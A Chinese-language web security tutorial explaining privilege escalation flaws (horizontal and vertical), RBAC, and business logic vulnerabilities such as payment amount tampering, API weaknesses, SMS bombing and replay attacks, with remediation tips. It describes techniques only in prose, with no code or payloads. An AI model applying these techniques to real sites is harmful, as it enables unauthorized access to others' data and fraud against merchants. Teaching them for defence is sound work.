• 越权访问

越权访问是Web应用程序中一种常见的逻辑漏洞，由于其存在范围广、危害大，被OWASP列为Web应用十大安全隐患的第二名。
由于服务器端对客户提出的数据操作请求过分信任，忽略了对该用户操作权限的判定，导致修改相关参数就可以拥有了其他账户的增、删、查、改功能，从而导致越权漏洞。

越权分类

根据数据库的操作分类可以分为

• 越权查询
• 越权删除
• 越权修改
• 越权添加

 根据维度进行分类，可以分为

平行越权（权限类型不变，权限ID改变）

• 攻击者尝试访问与其具有相同级别的用户资源

垂直越权（权限ID不变，权限类型改变）

• 低级别攻击者尝试访问高级别用户的资源

交叉越权（权限类型改变，权限ID也改变）

• 交叉越权是垂直越权和水平越权的交集（既有平行越权概念，也有垂直越权概念）

 RBAC（基于角色的访问控制）权限管理模型

RBAC权限管理模型是在新系统常用的一种用户权限管理方式，传统的权限模型中直接把权限赋予用户，而RBAC中增加了“角色”的概念，首先把权限赋予角色，在根据用户的不同需求把角色赋予用户。目前很多网站系统会采用RBAC权限管理方式，给不同用户分配不同的角色进而授予权限，角色如普通用户、审计员、管理员、超级管理员等。

水平越权原理

水平越权原理为用户A与用户B都属于同一个角色X，但用户A与用户B都各自拥有一些私有数据，正常情况下，只有用户自己才能访问自己的私有数据，但在RBAC模型下，系统只会验证用A是否属于角色X，而不会判断用户A能否访问只属于用户B的数据DataB，这样就会发生水平越权访问。

 水平越权也可以把其称作访问控制攻击漏洞。Web应用程序在接收到用户的请求时，进行增、删、改、查某条数据的时候，没有判断数据所对应的用户，或者在判断数据的用户时，是通过从用户表单参数中获取userid来实现的，这样就可以修改userid来实现水平越权。

垂直越权原理

垂直越权原理为高权限角色访问低权限角色的资源往往是被允许的，低权限角色访问高权限角色资源是被禁止的，如果低权限角色通过访问URL、修改标识、遍历参数等方法获得了更高权限角色的能力，这样就发生了垂直越权访问。

垂直越权是一种“基于URL的访问控制”设计缺陷引起的漏洞，又叫做权限提升攻击，具体原因就是web应用没有做用户权限控制，或者只是在菜单上做了权限控制，导致恶意用户只要猜测到其他管理页面的URL，就可以访问或者控制其他角色拥有的数据或者页面，达到权限提升的目的。

越权操作

修复方法总结

垂直越权

• 设置合适的会话管理机制，在每个涉及到高权限操作的页面进行会话验证

水平越权

• 设置合理的会话管理机制，将有关用户的标识存在服务器上
• 涉及到关于用户隐私的操作时从session中取出用户标识（如id）进行操作
• 不要轻信用户的每个输入越权

 业务逻辑

不同的项目有不同的功能，不同的功能需要不同的实现，实现这些核心功能的代码就叫业务逻辑。
比如实现两个数求和功能，所写的如何获得任意给定的两个数的和，这个程序实现过程即可成为业务逻辑处理。
业务是指一个实体单元向另一个实体单元提供的服务。
逻辑是指根据已有的信息推出合理的结论的规律。
业务逻辑是指一个实体单元为了向另一个实体单元提供服务，应该具备的规则与流程。

业务逻辑的内容包括四个部分：
领域实体：定义了业务中的对象，对象有属性和行为
业务规则：定义了需要完成一个动作，必须满足的条件
数据完整性：某些数据不可少
工作流：定义了领域实体之间的交互关系
以用户网购衣服为例：
领域实体：用户、资金账户、订单、衣服、发货单
业务规则：用户点击购买就会生成订单，但必须付了钱才会发货，生成发货单
数据完整性：网购必须登录网购平台账号，没有账号就不能成功购买
工作流：搜索衣服->找到合适衣服->下单购买->付款->收货

每个业务系统都具有不同的业务逻辑，而业务逻辑背后就是人的逻辑， 充分了解业务逻辑有助于找出其中的问题所在。
业务逻辑漏洞是指由于程序逻辑不严谨或逻辑太复杂，导致一些逻辑分支不能正常处理或处理错误。
业务逻辑漏洞出现于业务流程中（模块功能），也就是说网站的部分都有可能存在逻辑错误漏洞。

常见业务逻辑问题

• 支付逻辑
• 其他业务逻辑

支付逻辑漏洞

支付逻辑漏洞是指系统的支付流程中存在业务逻辑层面的漏洞。
支付流程通常为：
选择商品和数量 → 选择支付和配送方式 → 生成订单 → 订单支付 → 完成
最常见的支付逻辑漏洞通常是由于服务器端没有对客户端请求数据中金额、数量等敏感信息做校验。
支付逻辑漏洞一般在电子商务网站上容易出现，在支付流程中由于没有对客户端请求数据中的金额、数量等敏感信息作校验，带来“0元购”1分购”等漏洞，会对商家带来大量经济损失。

支付逻辑漏洞一般有以下几种情况

• 支付过程中修改支付金额
• 支付过程中修改商品商量
• 支付过程中修改商品编号

其他业务逻辑问题

• API逻辑漏洞
• 客户端与API通信无加密
• 客户端与API通信无身份验证
• 其他安全问题

API逻辑漏洞

在移动互联网的时代，Web服务已经成为了异构系统之间的互联与集成的主要手段，各种Web服务几乎都采用Web API来构建。通过Http协议的形式来以Get/Post方式发送请求，返回json格式(数据更小巧且自描述能力强)的数据。

API逻辑漏洞常见的安全问题

• 参数校验不完善
• 短信邮箱炸弹
• 关键参数不加密

客户端与API通信无加密

未加密风险

• 凭据
• 传输数据公开
• 资源信息泄露

中间人攻击

客户端与API通信无身份验证

• 信息泄露
• 应用程序被克隆
• 难以应对大规模拒绝服务攻击

其他安全问题

重放攻击的模式

• 短信炸弹
• 重复下单

防止重放攻击

时间戳和随机数的方式防止请求被重放